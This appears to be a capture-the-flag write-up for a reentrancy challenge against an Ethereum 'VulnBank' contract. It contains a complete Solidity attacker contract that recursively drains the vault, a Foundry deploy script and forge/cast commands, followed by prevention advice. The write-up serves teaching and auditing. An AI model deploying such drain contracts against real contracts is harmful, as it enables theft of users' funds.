Description
The lead developer at SecureBank Corp is back. He claims he's patched the vault and created the ultimate, unhackable Ethereum contract. Your mission: Drain the vault down to 0 and force the contract to surrender the flag. Contract: here
Download and read VulnBank.sol to understand the contract's withdraw logic.
Set up a Foundry or Hardhat environment to deploy and interact with the contract.
cat VulnBank.solSolution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
Step 1
Identify the reentrancy vulnerabilityObservationI noticed that VulnBank.sol's withdraw() calls msg.sender.call{value: amount}('') before decrementing balances[msg.sender], which is a textbook violation of the checks-effects-interactions pattern and suggested a reentrancy attack where a malicious fallback re-enters withdraw() while the balance is still stale.The contract sends ETH to the caller before updating the balance (checks-effects-interactions pattern violated). A malicious contract can call back into withdraw() in its receive() function before the balance is zeroed, draining all funds.Learn more
Reentrancy is the bug class behind the 2016 DAO hack (~$60M ETH). It happens when a contract makes an external call before finishing its own state update. The external call hands control to the recipient, who can call back into the original function while balances are still stale.
Walk the call stack. The vulnerable
withdraw()looks roughly like: (1) checkbalances[msg.sender] >= amount, (2)msg.sender.call{value: amount}(""), (3)balances[msg.sender] -= amount. The.callin step 2 hands execution to the recipient'sreceive()/fallback. The fallback fires after the ETH transfer leaves the contract, but before control returns to step 3 to decrement the balance. Inside the fallback, a fresh call intowithdraw()still sees the original balance, passes the check, and pulls anotheramountout. The stack unwinds bottom-up; every nested frame eventually decrements, but by then the funds are gone.The checks-effects-interactions pattern is the standard fix: validate (checks), mutate state (effects), then call external addresses (interactions). Setting
balances[msg.sender] = 0before.callmeans the recursive entry fails the balance check on the second call.The 2300-gas stipend.
transfer()andsend()forward exactly 2300 gas to the recipient. That covers an event log emit and a couple ofSLOADs, but not anotherCALLopcode (which alone needs more than that), and definitely not another fullwithdraw(). Raw.call{value: amount}("")forwards all remaining gas, which is why it is the dangerous primitive. Post-Istanbul the 2300 stipend is borderline for any real fallback logic, so most projects use.callplus anonReentrantguard rather than relying on the stipend.See smart contract CTF bugs for the broader Solidity bug taxonomy.
Step 2
Write the attacker contractObservationI noticed that exploiting the reentrancy bug requires a contract with a receive() fallback that can call back into withdraw(), so I needed to author an Attacker contract that deposits ETH, triggers the recursive drain loop, and guards against stack overflow by checking address(target).balance before each recursive call.Deploy an attacker contract that deposits ETH, then calls withdraw(). In its receive() fallback, it calls withdraw() again recursively until the vault is drained.jscat > Attacker.sol << 'EOF' // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IVulnBank { function deposit() external payable; function withdraw(uint256 amount) external; function getFlag() external view returns (string memory); } contract Attacker { IVulnBank public target; uint256 public attackAmount; constructor(address _target) { target = IVulnBank(_target); } function attack() external payable { attackAmount = msg.value; target.deposit{value: msg.value}(); target.withdraw(msg.value); } receive() external payable { if (address(target).balance >= attackAmount) { target.withdraw(attackAmount); } } function getFlag() external view returns (string memory) { return target.getFlag(); } } EOFExpected output
picoCTF{r33ntr4ncy_dr41n3d_...}What didn't work first
Tried: Putting the recursive withdraw() call in fallback() instead of receive(), expecting the fallback to trigger on ETH transfer
In Solidity 0.8+, receive() is the function that fires when ETH is sent with empty calldata via .call. fallback() only fires when calldata is non-empty or receive() does not exist. Using fallback() means the reentrancy hook never triggers and the attack simply deposits and withdraws once without looping.
Tried: Checking address(this).balance >= attackAmount instead of address(target).balance >= attackAmount in the receive() guard
address(this).balance tracks the attacker contract's accumulated ETH, not the vault's remaining funds. This makes the recursion condition wrong - the attacker's balance grows each iteration so the loop runs too long and hits the EVM's ~1024 call-stack depth limit, causing a revert that rolls back the entire drain.
Learn more
The attacker contract leans on Solidity's receive() fallback. When
VulnBank.withdraw()sends ETH to the attacker via.call, the EVM hands execution toreceive()beforewithdraw()finishes.receive()calls back intowithdraw(), which still sees the un-decremented balance.The
if (address(target).balance >= attackAmount)guard bounds recursion. Each nested withdraw drainsattackAmountfrom the target. Once the target's balance drops belowattackAmount, the next iteration would fail the bank's own balance check (or revert on transfer), so we stop early. The recursion depth is target_balance / attackAmount, capped well under the EVM's ~1024-frame call stack limit.A minimal Foundry deploy script:
// Attack.s.sol import "forge-std/Script.sol"; import "./Attacker.sol"; contract AttackScript is Script { function run() external { vm.startBroadcast(); Attacker attacker = new Attacker(VULN_BANK_ADDRESS); attacker.attack{value: 1 ether}(); vm.stopBroadcast(); } }Deploy with
forge script Attack.s.sol --rpc-url $RPC --private-key $PK --broadcast. Foundry (Rust-based) has largely replaced Hardhat/Truffle in security research becauseforge testruns Solidity-native fuzzing and invariants in milliseconds.Step 3
Deploy, attack, and read the flagObservationI noticed the challenge requires the vault balance to reach 0 before getFlag() returns the flag, so I needed to broadcast the Attacker contract on-chain with Foundry and then retrieve the flag via a read-only cast call once the drain completed.Deploy the attacker contract, call attack() with some ETH, and once the vault is drained, call getFlag() to retrieve the flag.bash# Using Foundry:bashforge script Attack.s.sol --rpc-url RPC_URL --private-key PRIVATE_KEY --broadcastbashcast call ATTACKER_ADDR 'getFlag()(string)' --rpc-url RPC_URLWhat didn't work first
Tried: Calling getFlag() on the VulnBank contract address directly before the attacker contract has drained the vault
getFlag() on VulnBank only returns the flag once its win condition is satisfied (vault balance at 0). Calling it before the drain completes returns an empty string or reverts. The flag must be retrieved after attack() succeeds, and calling it through the attacker contract ensures the same caller context is used.
Tried: Omitting --broadcast from the forge script command and wondering why no transactions appear on-chain
Without --broadcast, Foundry simulates the script locally using its built-in EVM fork but does not submit any real transactions. The output shows gas estimates and trace logs as if it worked, but the attacker contract is never deployed and the vault is untouched. Adding --broadcast is required to actually sign and send the deploy and call transactions to the RPC endpoint.
Learn more
Foundry scripts are Solidity files that inherit from
Scriptand usevm.startBroadcast()to submit real transactions to the network. The--broadcastflag tells Foundry to actually sign and send these transactions rather than just simulating them. The RPC URL points to the challenge's local or testnet Ethereum node.After the vault is drained, the contract's win condition is satisfied. Many CTF smart contract challenges use a pattern where
isSolved()returns true once the exploit succeeds, andgetFlag()returns the flag string only when the win condition is met. The flag is returned as a plain string from a view function, socast call(which makes a read-only call, no gas required) is sufficient to retrieve it.In real-world smart contract auditing, finding and responsibly disclosing reentrancy vulnerabilities is highly valued. Audit firms like Trail of Bits, OpenZeppelin, and Certik charge substantial fees to review contracts for exactly these issues before deployment. The Ethereum ecosystem maintains a registry of known vulnerabilities and incident post-mortems at resources like SWC Registry (Smart Contract Weakness Classification) that mirrors the CVE database for blockchain security.
Flag
Reveal flag
picoCTF{r33ntr4ncy_dr41n3d_...}
Classic reentrancy attack: the contract sends ETH before updating state, allowing recursive withdrawal to drain the vault.
Key takeaway
How to prevent this
How to prevent this
Reentrancy drained $60M from The DAO in 2016 and is still in the top-3 Solidity bugs in 2026. The fix is mechanical.
- Follow checks-effects-interactions: validate inputs, update state, then call external addresses. Setting
balances[msg.sender] = 0beforemsg.sender.call{value: amount}("")closes the bug. - Use OpenZeppelin's
ReentrancyGuardas a defense-in-depth modifier.nonReentranton every external function that does state changes + value transfers blocks recursive entry even if a developer forgets CEI. - Prefer
transfer()/send()with their 2300-gas stipend for ETH sends, or pull-payment patterns where users withdraw their own balances. Run Slither/Mythril/Echidna in CI; they flag reentrancy patterns automatically.